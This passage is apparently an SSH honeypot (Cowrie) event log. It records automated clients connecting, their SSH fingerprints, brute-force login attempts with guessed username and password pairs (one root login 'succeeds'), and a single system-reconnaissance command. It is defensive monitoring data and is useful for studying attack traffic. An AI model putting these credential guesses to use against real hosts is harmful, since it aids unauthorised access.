{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:01:17.143403Z","src_ip":"162.120.6.20","session":"2fde8b62fdff","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.120.6.20","src_port":37294,"dst_ip":"10.17.0.5","dst_port":22,"session":"f9c1faf70239","protocol":"ssh","message":"New connection: 162.120.6.20:37294 (10.17.0.5:22) [session: f9c1faf70239]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:01:17.212860Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:01:17.217482Z","src_ip":"162.120.6.20","session":"f9c1faf70239","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:01:17.287557Z","src_ip":"162.120.6.20","session":"f9c1faf70239","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"qaz1wsx2123","message":"login attempt [root/qaz1wsx2123] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:01:17.497948Z","src_ip":"162.120.6.20","session":"f9c1faf70239","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:01:17.678077Z","src_ip":"162.120.6.20","session":"f9c1faf70239","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:01:17.681412Z","src_ip":"162.120.6.20","session":"f9c1faf70239","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:01:17.754955Z","src_ip":"162.120.6.20","session":"f9c1faf70239","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.5","message":"Connection lost after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:01:17.759665Z","src_ip":"162.120.6.20","session":"f9c1faf70239","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.188","src_port":20560,"dst_ip":"10.17.0.5","dst_port":22,"session":"d29516efddb7","protocol":"ssh","message":"New connection: 2.57.122.188:20560 (10.17.0.5:22) [session: d29516efddb7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:02:11.213808Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PUTTY","message":"Remote SSH version: SSH-2.0-PUTTY","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:02:11.218097Z","src_ip":"2.57.122.188","session":"d29516efddb7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"5bd26477da5440a6187bd3f1b39a429c","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa","ssh-rsa-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 5bd26477da5440a6187bd3f1b39a429c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:02:11.324593Z","src_ip":"2.57.122.188","session":"d29516efddb7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.6","message":"Connection lost after 0.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:02:11.772559Z","src_ip":"2.57.122.188","session":"d29516efddb7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.118.39.56","src_port":53256,"dst_ip":"10.17.0.5","dst_port":22,"session":"0795b84686fd","protocol":"ssh","message":"New connection: 92.118.39.56:53256 (10.17.0.5:22) [session: 0795b84686fd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:02:16.862577Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:02:16.867478Z","src_ip":"92.118.39.56","session":"0795b84686fd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:02:16.979527Z","src_ip":"92.118.39.56","session":"0795b84686fd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"1234","message":"login attempt [sol/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:02:17.418900Z","src_ip":"92.118.39.56","session":"0795b84686fd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:02:18.523966Z","src_ip":"92.118.39.56","session":"0795b84686fd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.118.39.76","src_port":34156,"dst_ip":"159.203.135.109","dst_port":22,"session":"8d775087c84c","protocol":"ssh","message":"New connection: 92.118.39.76:34156 (159.203.135.109:22) [session: 8d775087c84c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:02:40.061810Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:02:40.066434Z","src_ip":"92.118.39.76","session":"8d775087c84c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:02:40.170862Z","src_ip":"92.118.39.76","session":"8d775087c84c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"sol","message":"login attempt [sol/sol] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:02:40.493077Z","src_ip":"92.118.39.76","session":"8d775087c84c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:02:41.598430Z","src_ip":"92.118.39.76","session":"8d775087c84c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":41822,"dst_ip":"10.17.0.5","dst_port":22,"session":"1706219ca077","protocol":"ssh","message":"New connection: 2.57.122.208:41822 (10.17.0.5:22) [session: 1706219ca077]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:03:21.768208Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:03:21.809922Z","src_ip":"2.57.122.208","session":"1706219ca077","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:03:21.910300Z","src_ip":"2.57.122.208","session":"1706219ca077","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"trader","password":"123456","message":"login attempt [trader/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:03:22.437481Z","src_ip":"2.57.122.208","session":"1706219ca077","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:03:23.647512Z","src_ip":"2.57.122.208","session":"1706219ca077","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"54.174.222.165","src_port":63098,"dst_ip":"10.17.0.5","dst_port":22,"session":"9864c409fa0d","protocol":"ssh","message":"New connection: 54.174.222.165:63098 (10.17.0.5:22) [session: 9864c409fa0d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:04:23.545972Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:04:24.983200Z","src_ip":"54.174.222.165","session":"9864c409fa0d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"9052c4ab4164c78256e71143dcfc7eac","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,aes128-cbc,3des-cbc,aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","aes128-cbc","3des-cbc","aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 9052c4ab4164c78256e71143dcfc7eac","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:04:24.986909Z","src_ip":"54.174.222.165","session":"9864c409fa0d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.118.39.56","src_port":58482,"dst_ip":"10.17.0.5","dst_port":22,"session":"8169bd1e7ba0","protocol":"ssh","message":"New connection: 92.118.39.56:58482 (10.17.0.5:22) [session: 8169bd1e7ba0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:04:25.717212Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:04:25.721491Z","src_ip":"92.118.39.56","session":"8169bd1e7ba0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:04:25.830225Z","src_ip":"92.118.39.56","session":"8169bd1e7ba0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"123","message":"login attempt [sol/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:04:26.143071Z","src_ip":"92.118.39.56","session":"8169bd1e7ba0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.8","message":"Connection lost after 2.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:04:26.342220Z","src_ip":"54.174.222.165","session":"9864c409fa0d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:04:27.249271Z","src_ip":"92.118.39.56","session":"8169bd1e7ba0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.246.130.20","src_port":61385,"dst_ip":"10.17.0.5","dst_port":22,"session":"7e1c9d5eecac","protocol":"ssh","message":"New connection: 185.246.130.20:61385 (10.17.0.5:22) [session: 7e1c9d5eecac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:04:51.460014Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.4","message":"Remote SSH version: SSH-2.0-libssh_0.11.4","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:04:51.674214Z","src_ip":"185.246.130.20","session":"7e1c9d5eecac","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"7d98a1f3b2ced8dc56a19709a6c59fc3","hasshAlgorithms":"diffie-hellman-group-exchange-sha1,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,blowfish-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none,zlib@openssh.com,zlib","kexAlgs":["diffie-hellman-group-exchange-sha1","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa"]